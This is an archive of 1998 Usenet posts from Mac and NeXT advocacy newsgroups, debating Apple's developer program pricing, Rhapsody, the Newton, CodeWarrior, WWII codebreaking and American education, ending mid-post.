References: <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com> <352D4957.84AE1890@alexa.com> <SCOTT.98Apr10103112@slave.doubleu.com> <3533D6C7.95AECD96@milestonerdl.com> <6h0b4v$h5v$3@ns3.vrx.net> <3534C720.3BACAC4@milestonerdl.com> <trev-1504981307100001@nas-sa-p7.usc.net>
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> > But if you are thinking of jumping on the Rhapsody bandwagon, look at
> how Apple
> > treated the Newton Developers and ask yourself if you want to be treated that
> > way.
>
It is true what Apple did to the Newton Project was not the best thing. I
wonder if they had gone ahead in making Newton Inc. whether the Newton
could have survived. The Newton was a great product, though it lost what
it was trying to achieve: lost-cost PDA device. Instead it was becoming
big (not even pocket sized) and expensive (more than $800).
In spite of the profit Apple has made, like any company in the computer
industry it needs keep lean and do what it is good at. What I would like
to see is the technology in the Newton rolled into othe Apple products.
One technology is the hand-writing recognition.
I can't remember where I read it, though there is a company in the USA
that has expressed their intrest in the Newton technology and would like
to buy it to keep the Newton alive. I just hope that Apple lets them buy
the technology or licences it the for a sensible fee.
One thing that I saw the Newton being useful for is Scientific uses. If
the Newton had had an adaptor at the top, it would have been great for
adding scientific sensory equipment for in the field data collection (sure
this sounds like something out of Star Trek, though so did the mobile
phone).
AJ
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: letter to macnn about developer article
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 16 Apr 1998 14:12:05 GMT
Organization: P & L Systems
Message-ID: <6h53jl$9sp$10@ironhorse.plsys.co.uk>
References: <01bd67ec$731a7b20$2ef0bfa8@davidsul> <6h238g$e1p$1@gaea.omnigroup.com>
<01bd689d$48e281c0$33f0bfa8@davidsul>
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Cc: macghod@concentric.net
NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <01bd689d$48e281c0$33f0bfa8@davidsul> Mr Sullivan of Santa Clara, CA, aka
"NeXT Newbie" wrote:
> You are talking about getting just the cds without the seeds for $200, I
> take it?
> I thought this was a option BEFORE this program was introduced as well?
> From what I have seen the $200 option wasnt just announced by apple, what
> was announced by apple was a $500 plan and the $3500 plan. Their was NO
> $200 plan introduced, I assumed it was their all along.
>
*If* this is the case (my impression is that it isn't, but corrections
welcome) then it is disingenuous of you to claim "prices were increased with
no new services offered", since on this item price was not increased.
mmalc.
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 16 Apr 1998 14:37:12 GMT
Organization: Indiana University, Bloomington
Message-ID: <6h552o$kpg$1@flotsam.uits.indiana.edu>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h2nsv$fbp$7@ns3.vrx.net> <6h3nj2$frm$1@jetsam.uits.indiana.edu> <6h4g11$rom$3@ns3.vrx.net>
In article <6h4g11$rom$3@ns3.vrx.net>,
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <6h3nj2$frm$1@jetsam.uits.indiana.edu> Gregory Loren Hansen claimed:
>> I would hope that even 20% to 30% for development means the company is
>> doing MORE development when it gets bigger, and putting out more or bigger
>> or better products.
>
> You'd think that would happen, but it can't because of the resulting team
>sizes and the fixed nature of the product lines. IE it might be possible to
>develop app x with one person, but if you sell 1000000 copies you still need
>yyy support people and zzz product line people (service, doc etc.).
>Althought dev can be expensive (big HR costs) in terms of overall people in a
>company it tends to be rather small in most boxware-companies.
Oh, wait, you said 20-30% of *net* income. Maybe I was thinking of gross
income. I suppose that changes things.
Still, if you compare Microsoft to Ambrosia, you would expect the bigger
company to be doing a lot more development. And the part that I can't
wrap my mind around is if support costs are so high, I would expect the
larger company to put more work into building a reliable product that
doesn't need as much support! But Windows is an obvious example that the
world just doesn't work that way.
--
Stay alert! Trust no one! Keep your laser handy! The Computer is
your Friend!
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: 16 Apr 1998 11:21:30 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6h57lq$v3t$1@crib.bevc.blacksburg.va.us>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <MPG.f9e0bd4339572849898ae@news.supernews.com> <rmcassid-1504981009550001@dante.eng.uci.edu> <6h3vq4$rgu$1@ha2.rdc1.sdca.home.com>
In article <6h3vq4$rgu$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> In <rmcassid-1504981009550001@dante.eng.uci.edu> rmcassid@uci.edu wrote:
> > I like the concept of 'magnet' schools (that's what they call them out
> > here). NYC has had the concept for some time which puts good students into
> > specialized schools to break the lowest common denominator syndrome.
> Magnet schools are the "type" of education my daughter received in Calif.
> Talk about a political process...! We gave up and mainlined our child into
> the regular classroom. It sets up a clear "class" mini-society in early
> education. A false sense of "priviledge" and "accomplishment" infests the
> "magnet" students. For those unfamiliar, magnet schools bus whole
> under-priviledged populations across town on buses to "balance" educational
> opportunity and minority discrimination.
Magnet schools differ. The one I went to specialized in science
and technology, had a fixed enrollment size, and required passing an
admissions exam and meeting other admissions criteria. The average
caliber of student surpassed (by a lot, IMHO) the average at the state
university I attended, and due to the coursework offered, I entered
college officially as a sophomore and was a senior within three semesters.
I think that the original poster was probably referring to this sort of
magnet school; when he said "NYC" I thought of schools like Stuyvesant
and the Bronx High School of Science. (These are also science-specialized
magnet schools, the kind I'm familiar with.)
> I do not advocate "magnet" schools.
Depends on how they're implemented. Mine definitely helped my education.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: 16 Apr 1998 14:56:16 GMT
Organization: P & L Systems
Message-ID: <6h566g$58j$1@ironhorse.plsys.co.uk>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51>
<ant1411451cbLJLo@om107.acorn.co.uk> <cirby-1404981050430001@pm61-12.magicnet.net>
<6h1r14$ui8$1@nnrp1.dejanews.com> <6h1rq7$os8$7@ns3.vrx.net>
<rmcassid-1504980928170001@dante.eng.uci.edu>
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Cc: rmcassid@uci.edu
In <rmcassid-1504980928170001@dante.eng.uci.edu> rmcassid@uci.edu wrote:
> In article <6h1rq7$os8$7@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
> Markowitz) wrote:
> > Uhhh, Enigma was German, Purple was Japanese. Breaking Purple was an
> >entirely US project AFAIK. As to the computers in question, the
"cratable"
> >versions were built by NCR in the US and shipped to England.
>
> Breaking Purple was entirely US
>
Not to make a nationalistic point, but solely out of interest, are you sure
Turing's visit during 1943 didn't have anything to do with Purple? I did a
bit of searching to try to find the answer to this and didn't get anything
conclusive.
> and IIRC, it is still fully classified.
> One of the oldest secrets our government is holding, though I can't think
> of why off hand...
>
Maybe Micro$oft uses it to encrypt user information on NT?!
BTW: a lot of the Bletchly Park stuff has only been declassified relatively
recently (1996).
Best wishes,
mmalc.
From: Dave Griffiths <dgriffit@acorn.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: Thu, 16 Apr 1998 17:28:58 +0100 (BST)
Organization: Acorn Computers Ltd, Cambridge, United Kingdom
Message-ID: <ant161658313LJLo@om107.acorn.co.uk>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51> <ant1411451cbLJLo@om107.acorn.co.uk> <cirby-1404981050430001@pm61-12.magicnet.net> <6h1r14$ui8$1@nnrp1.dejanews.com> <6h1rq7$os8$7@ns3.vrx.net>
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In article <6h1rq7$os8$7@ns3.vrx.net>, Maury Markowitz
<URL:mailto:maury@remove_this.istar.ca> wrote:
> Uhhh, Enigma was German, Purple was Japanese. Breaking Purple was an
> entirely US project AFAIK.
Didn't work too well then did it.
"Hey, the message says 'Oral herb bomb rap'. What the heck?"
Anyway, we invented electricity. Fat lot of good your fancy computers
would be without electricity.
Dave
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: 16 Apr 1998 11:21:31 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h4pjr$4rk$1@ns3.vrx.net>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51>
<ant1411451cbLJLo@om107.acorn.co.uk> <cirby-1404981050430001@pm61-12.magicnet.net>
<6h1r14$ui8$1@nnrp1.dejanews.com> <6h1rq7$os8$7@ns3.vrx.net>
<rmcassid-1504980928170001@dante.eng.uci.edu> <6h566g$58j$1@ironhorse.plsys.co.uk>
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Cc: malcolm@plsys.co.uk
In <6h566g$58j$1@ironhorse.plsys.co.uk> mmalcolm crawford claimed:
> Not to make a nationalistic point, but solely out of interest, are you sure
> Turing's visit during 1943 didn't have anything to do with Purple? I did a
> bit of searching to try to find the answer to this and didn't get anything
> conclusive.
Purple was broken before Pearl in '41. Thus, no, not on that visit anyway.
Maury
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 16:26:28 GMT
Organization: P & L Systems
Message-ID: <6h5bfk$58j$2@ironhorse.plsys.co.uk>
References: <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147>
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Cc: english@primenet.com
In <B159020F-6203B@206.165.43.147> "Lawson English" wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> > 1. If there are hundreds of such products, please name a few. NOT
> > counting educational products, since they aren't covered by this
> > program.
>
> Stuffit. Raymond Lau invented this while in HIGH SCHOOL (he was 16, I
> believe), so he wouldn't be covered by any higher ed discount.
> [...]
> In fact, for the last 2 years, you could download the SDKs for free, so
> nothing has changed in that respect. What HAS changed is that you must now
> pay $500 to obtain beta versions of the OS's, which means that for people
> (like the HS students who might come up with the next Stuffit) whom $250
> might have barely been doable, there is no longer any way to test their
> product against the cutting edge of software unless they double that $250.
>
But you've already been told:
"Raymond was not a member of any Apple developer programs while working on
Stuffit."
[Andrew Welch, <andrew-1104980043110001@lgm.com>]
so clearly this was not a major impediment...
mmalc.
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: Thu, 16 Apr 1998 09:48:58 -0700
Organization: Trilithon Research and Trading
Message-ID: <3536367A.79EFBF82@trilithon.com>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51>
<ant1411451cbLJLo@om107.acorn.co.uk> <cirby-1404981050430001@pm61-12.magicnet.net>
<6h1r14$ui8$1@nnrp1.dejanews.com> <6h1rq7$os8$7@ns3.vrx.net>
<rmcassid-1504980928170001@dante.eng.uci.edu> <6h566g$58j$1@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
* In <rmcassid-1504980928170001@dante.eng.uci.edu>
* rmcassid@uci.edu wrote:
* * Breaking Purple was entirely US
* Not to make a nationalistic point, but solely out of
* interest, are you sure Turing's visit during 1943
* didn't have anything to do with Purple? I did a
* bit of searching to try to find the answer to this
* and didn't get anything conclusive.
There is some controversy about cracking Purple, but David
Kahn's book The Codebreakers asserts that the credit for
cracking the code goes to a fellow called William Friedman.
Friedman and his team were supposed to have cracked Purple
via brute force methods. The controversy arises over why
the code was called Purple. Supposedly, the code book
had a purple cover. If Friedman's team had cracked the code
via brute force, presumably they'd never seen the book, in
which case how would they have decided to call it Purple?
In any case, there's no evidence that Turing was involved.
Some of this discussion I got from the posthumous auto-
biography of Admiral Yamamoto, by Hiroyuki Agawa.
Cheers,
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
Newsgroups: comp.lang.postscript,comp.sys.next.advocacy
Subject: Re: Adobe dps-info Was:Re: End of Display PostScript?
From: ian@five-d.com (Ian Kemmish)
Organization: At home with Ian
References: <ldo-2403981003100001@a24.hn1.wave.co.nz> <3519F50E.2E4C51B@trilithon.com> <1998Mar30.113319@lsl> <352C3C0F.5CB6E295@rs6000.cmp.ilstu.edu> <1998Apr9.095048@lsl> <p.kerr-1504981822550001@news.auckland.ac.nz> <p.kerr-1604981104390001@news.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: Text/Plain; charset=ISO-8859-1
Message-ID: <35363dcc.0@newsread1.dircon.co.uk>
Date: 16 Apr 98 17:20:12 GMT
In article <p.kerr-1604981104390001@news.auckland.ac.nz>, p.kerr@auckland.ac.nz
says...
>
> - Adobe has donated the specification of the Display PostScript C
>API to the X distribution, as well as the client-side implementation.
>Modifying Ghostscript to interface with this code as a substitute for a
>Display PostScript server might make Ghostscript a lot more useful, since
>it would then be "plug compatible" with Display PostScript in an important
>way. Contact ghost@aladdin.com if you would like to help with this.
This happened some time ago (X11r5, I think), and *only* covered the DPS client
library. As I recall at this far remove, it didn't even include the source to
pswrap, without which the client library is not particularly useful....
> Also I don't think we've heard the last of it in connection with Apple's
> Rhapsody system.
Given that Apple spent ten months investigating alternatives to Adobe before
realising that no-one was prepared to go with the silly price they were
offering, I think you'll find that you may well have.... All Apple's press
releases state that MacOS is the future, and the Rhapsody is primarily intended
for servers, which indicates that support for OpenStep legacy apps is not
regarded as a real high priority....
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Ian Kemmish 18 Durham Close, Biggleswade, Beds SG18 8HZ, UK
ian@five-d.com Tel: +44 1767 601 361
Information on Jaws and 5D's other products availabe at http://www.five-d.com
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'The universe may be as great as they say,
but it wouldn't be missed if it didn't exist' ... Piet Hein
From: Inderjit_S_Gahir@rl.gov (Inderjit "Indy" Gahir)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Thu, 16 Apr 1998 17:22:08 GMT
Organization: Fluor Daniel Northwest
Message-ID: <6h5eoc$f5m@columbia.rl.gov>
References: <3530F643.DEADA2A5@trilithon.com> <B15670BD-27C36@206.165.43.142>
With all due respect Lawson, I've yet to see any market for Sanskrit
DTP. India has a very diverse culture and consisting of several
languages. And Hindi is the official "national" language. Sanskrit
is used only for literary purposes.
During my visits back home, in the state of Punjab, I am astonished
at the number of billboards that solicit training in Java, Oracle, VC++,
and MS Apps. This is really isn't too surprising since India is one of
English speaking countries in the world. The governement, acadamia
and large businesses have been and continue to push English as their
standard.
Not bad for a country that is in desperate needs of significant country-
wide infrastructure advancements, yet locates the second (emerging)
Silicon Valley of the world.
In article <B15670BD-27C36@206.165.43.142>, "Lawson English"
<english@primenet.com> wrote:
>Henry McGilton <henry@trilithon.com> said:
>
>> Providing tri-glyph support (which already exists in the OpenStep
>> Text object suite if you would get off your high horse long enough
>> to take a look) for text doesn't necessarily mean that the
>> half of the world population who currently lack clean water will
>> immediately rush out to buy a computer and associated software.
>
>Sure, but
>
>1) we were talking about supporting realt-time text-on-a-path editing for
>desktop publishing (Sanskrit and other languages also have the same issues)
>
>and
>
>2) The *government* of the countries that use languages that have these
>kinds of issues (it's more than just Hangul and Sanskrit) are going to
>endorse standards that support them, even if the average peasant can't
>afford it. Whatever the government endorses will eventually trickle down
>into the economy.
>
>
>
>----------------------------------------------------------------------
>Want Apple to license Cyberdog for third-party development? Go to:
> <http://www.pcsincnet.com/petition.html>
>----------------------------------------------------------------------
>
>
>
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: Thu, 16 Apr 1998 10:27:35 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-1604981027350001@dante.eng.uci.edu>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51> <ant1411451cbLJLo@om107.acorn.co.uk> <cirby-1404981050430001@pm61-12.magicnet.net> <6h1r14$ui8$1@nnrp1.dejanews.com> <6h1rq7$os8$7@ns3.vrx.net> <rmcassid-1504980928170001@dante.eng.uci.edu> <6h566g$58j$1@ironhorse.plsys.co.uk>
In article <6h566g$58j$1@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
>In <rmcassid-1504980928170001@dante.eng.uci.edu> rmcassid@uci.edu wrote:
>> In article <6h1rq7$os8$7@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
>> Markowitz) wrote:
>> > Uhhh, Enigma was German, Purple was Japanese. Breaking Purple was an
>> >entirely US project AFAIK. As to the computers in question, the
>"cratable"
>> >versions were built by NCR in the US and shipped to England.
>>
>> Breaking Purple was entirely US
>>
>Not to make a nationalistic point, but solely out of interest, are you sure
>Turing's visit during 1943 didn't have anything to do with Purple? I did a
>bit of searching to try to find the answer to this and didn't get anything
>conclusive.
It might have. I looked for the same thing, but I seem to recall a
documentary on the subject (including Enigma) that suggested that the
Purple team was solely US based. However, almost nothing happens in a
closed box in the scientific world and the time of the visit does suggest
that he might have jumped into the fun.
>> and IIRC, it is still fully classified.
>> One of the oldest secrets our government is holding, though I can't think
>> of why off hand...
>>
>Maybe Micro$oft uses it to encrypt user information on NT?!
Jonathan Hendry suggested that the IRS uses it to encrypt the tax code.
Given that I was working on my taxes when I read that, my brain has
already accepted the theory at fact.
>BTW: a lot of the Bletchly Park stuff has only been declassified relatively
>recently (1996).
That sound right. The US declassified almost all of the Enigma stuff here
at the same time, but not Purple.
-Bob Cassidy
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: letter to macnn about developer article
Date: Thu, 16 Apr 98 17:03:57 GMT
Organization: QMS
Message-ID: <6h5dl2$fne$3@news01.deltanet.com>
References: <01bd67ec$731a7b20$2ef0bfa8@davidsul> <6h238g$e1p$1@gaea.omnigroup.com> <6h53jl$9sp$10@ironhorse.plsys.co.uk>
In article <6h53jl$9sp$10@ironhorse.plsys.co.uk>, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
>
>In <01bd689d$48e281c0$33f0bfa8@davidsul> Mr Sullivan of Santa Clara, CA, aka
>"NeXT Newbie" wrote:
>> You are talking about getting just the cds without the seeds for $200, I
>> take it?
>> I thought this was a option BEFORE this program was introduced as well?
>> From what I have seen the $200 option wasnt just announced by apple, what
>> was announced by apple was a $500 plan and the $3500 plan. Their was NO
>> $200 plan introduced, I assumed it was their all along.
>>
>*If* this is the case (my impression is that it isn't, but corrections
>welcome) then it is disingenuous of you to claim "prices were increased with
>no new services offered", since on this item price was not increased.
My understanding, which may be innaccurate, is that the $200 CD
mailings are a new program, which will cover the needs of some of the
former associates, IF they include all of the needed software on
the CD mailings. This is a program they tried once before, for
$50 less. The lack of seed software is a different issue.
Note: I still think the pricing is a bit wonky, but that is something
we will be able to determine over the next few months, based on
renewals. The issue that still makes me unsure about the value
of the CD mailing is:
1. We have not heard a firm assurance from Apple that Rhapsody will
be on the CD mailings available for $200.
2. Apple has already shipped a piece of software (QT Pro 3) that will
never be on the CD mailings, if I remember the web site correctly.
Whether this is good or bad, it does show us that Apple is willing
to consider some software as inappropriate for sending out via the
CD mailing. (This is not new, as they did the same with Appleshare,
but it does remind the developers that this can happpen, and that
some assurances are useful.)
3. Rhapsody is going to be marketed as a server OS. If they look
at this in the right way, they might well decide that developers
getting only the $200 CD mailing do not need access to such a
powerful server OS. MS does much the same thing with NT
Server, but MS does put NT Workstation on those disks, and
if a program works with NT Workstation, it is very likely to work
with NT Server.
4. Apple unilaterally changed the agreement for developers in mid
subscription, and took away benefits with clear value. They claim
to have added a Metrowerks coupon with clear value, but until we see
it, we cannot know whether this coupon will apply to us, where we did
have a contract describing the exact benefits of the developer
program.
As a result, we have less assurance that the CD mailing is worth
the cost than we did when it was cheaper. Jordan Mattson, among
others, can provide this assurance with the simple statement that
the release versions of Rhapsody will be available on the CD mailing.
In my mind, Rhapsody is the future of the MacOS, and so announcements
regarding its beta and release distribution are very important to
me, at least.
If Jordon assures us that Rhapsody will make it onto the CD mailing
disks, I will believe him. While he was reported as saying that
nobody was charged for the developer subscriptions for the last
six months, a patently false statement, he is not in charge of
ADR. He IS in charge of Rhapsody, so his desires are quite likely
to manifest.
Has he been heard to positively state whether release Rhapsody will
or will not be on the Developer CD mailings?
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Thu, 16 Apr 1998 12:28:38 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-1604981228380001@130.130.117.53>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <gmgraves-1504981051040001@sf-usr1-56-184.dialup.slip.net> <35352C35.D0691B0E@trilithon.com>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <35352C35.D0691B0E@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
:7) Television. American kids spend an average of 30 hours
:per week watching television.
It is not watching television that is the problem. It is what the kids are
watching. Cable television is one of the things that has caused this
problem. It used to be that if you were a kid your choices were pretty
limited and you were watching sesame street or a few cartoons. Now there
are many chanels devoted to that target market and the garbage is often
more interesting than the quality stuff. Even with mandated educational
programming we end up with things like the might morphing power rangers
where the only education is a forced morality lesson that is tacked on at
the end.
Money is not the answer either. The magnet school near me even with its
diversity mandates and 60%-70% of the spending per pupil has a higher rate
of entering students going on to college than the regular school a mile
away has of entering students graduating high school. Education has to be
something that is desired or valued by the students for there to be any
signifigant increase in the education of the student. If neither the
student nor the parents see any real benefit in an education then I do not
care how much money you spend it is not going to make any difference.
But as far as I am concerned it is the least common denominator approach
to education that is the real downfall of american education. I spent less
than two years in a private school. In those years I progressed more than
in all the rest of my years combined. Not having to be basically a
teachers aide to bring the rest of the students up to my level allowed me
to actually learn things instead of just having a place to waste time
every day. I don't care whether you hire people for $100,000+ a year, they
are not going to be able to educate both someone who is working several
grades behind and someone who is working several grades past the median
in the same classroom.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Thu, 16 Apr 1998 14:15:45 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1604981415450001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <MPG.f9e0bd4339572849898ae@news.supernews.com> <rmcassid-1504981009550001@dante.eng.uci.edu> <6h3vq4$rgu$1@ha2.rdc1.sdca.home.com> <MPG.f9f4a88904b40549898b5@news.supernews.com>
In article <MPG.f9f4a88904b40549898b5@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> Absolutely. And, many of them make sense individually (as I am passed by
> young drivers, I sometimes wish they spent more time in drivers ed), but
> when put together, they drive out real learning.
Unfortunately there is no classroom substitute for the real experience of
finally crashing into something.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Thu, 16 Apr 1998 14:20:17 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1604981420180001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <ant1512391cbLJLo@om107.acorn.co.uk>
In article <ant1512391cbLJLo@om107.acorn.co.uk>, Dave Griffiths
<dgriffit@acorn.co.uk> wrote:
> You have a lot more than we do. One of the weirdest things about
> living in America was to see all these bumper stickers saying stuff
> like "My kid was swot of the month at Kissimmee High School". Any
> self-respecting Brit kid would DIE of embarrassement if his parents
> were ever so naff as to publically express their pride like that.
>
> "We don't need no education..."
I have pride in good education but I *hate* those things. Do a good job
and let it speak for itself unless you *have* to make your self look good
on some sort of college or job application. Putting those stickers on
your car serves no purpose other than to arrogantly broadcast how great
you think you are (or how great your kids are). I like the ones that say
"your school sucks."
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 18:18:45 GMT
Message-ID: <01bd699e$57819020$3af0bfa8@davidsul>
References: <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <35343A8F.FE507500@trilithon.com> <6h2rnv$sek$1@cronkite.cygnus.com> <6h40he$rgu$2@ha2.rdc1.sdca.home.com> <6h43mj$fr9$1@news.digifix.com>
> Apple's deal with Metrowerks isn't anything like a deal with
> Cygnus would be.
>
> Apple's existing Mac OS developers have an almost manical
> devotion to Metrowerks development environment.
That because before CW their was symantec. Cw was a major savior for mac
developers. Metrowerks does things alot better than symantec and really
gave symantec a kick in the fanny.
Codewarrior could be technologically better (note I am not saying its not
top notch), but support wise it is top notch.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 18:28:02 GMT
Organization: I don't think so
Message-ID: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org>
References: <6h43mj$fr9$1@news.digifix.com> <B15B0A02-19BCA8@207.217.155.85>
Brad Hutchings wrote:
>That aside, Metrowerks doesn't rest on its laurels. Each release of
>CodeWarrior is absolutely amazing to all of Metrowerks' customers.
But it produces horrible code - even worse than the free and cross-platform
gcc! Wouldn't you be happier with better code generation than with a pretty
IDE?
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Thu, 16 Apr 1998 12:58:31 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-1604981258310001@130.130.117.53>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <35351E80.1BB@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM> wrote:
:You are missing the fundamental point, John. It's not like I haven't
:said this before. What keeps libertarianism from slipping into anarchy
:is *Law*, not *government*.
Which is like saying what allows me to fly coast to coast is physics not
an airplane.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Thu, 16 Apr 1998 13:23:23 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-1604981323230001@130.130.117.53>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h2nsv$fbp$7@ns3.vrx.net> <6h3nj2$frm$1@jetsam.uits.indiana.edu> <6h4g11$rom$3@ns3.vrx.net> <6h552o$kpg$1@flotsam.uits.indiana.edu>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <6h552o$kpg$1@flotsam.uits.indiana.edu>,
glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) wrote:
:Still, if you compare Microsoft to Ambrosia, you would expect the bigger
:company to be doing a lot more development. And the part that I can't
:wrap my mind around is if support costs are so high, I would expect the
:larger company to put more work into building a reliable product that
